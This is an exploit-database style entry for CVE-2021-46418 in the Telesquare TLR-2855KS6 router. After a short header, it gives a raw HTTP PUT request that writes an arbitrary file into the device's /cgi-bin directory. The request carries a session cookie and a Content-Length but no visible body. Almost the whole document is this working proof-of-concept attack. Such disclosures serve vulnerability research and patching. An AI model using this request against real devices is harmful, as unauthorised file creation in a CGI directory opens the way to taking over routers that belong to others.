Telesquare TLR-2855KS6 Arbitrary File Creation

`# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Creation  
# Date: 7/4/2022  
# Exploit Author: Momen Eldawakhly (Cyber Guy)  
# Vendor Homepage: http://www.telesquare.co.kr/  
# Version: TLR-2855KS6  
# Tested on: Linux [Firefox]  
# CVE : CVE-2021-46418  
  
# Proof of Concept  
  
PUT /cgi-bin/testing_cve.txt HTTP/1.1  
Host: 192.168.1.5  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Connection: close  
Cookie: nonce=1642692359833588  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 32  
  
`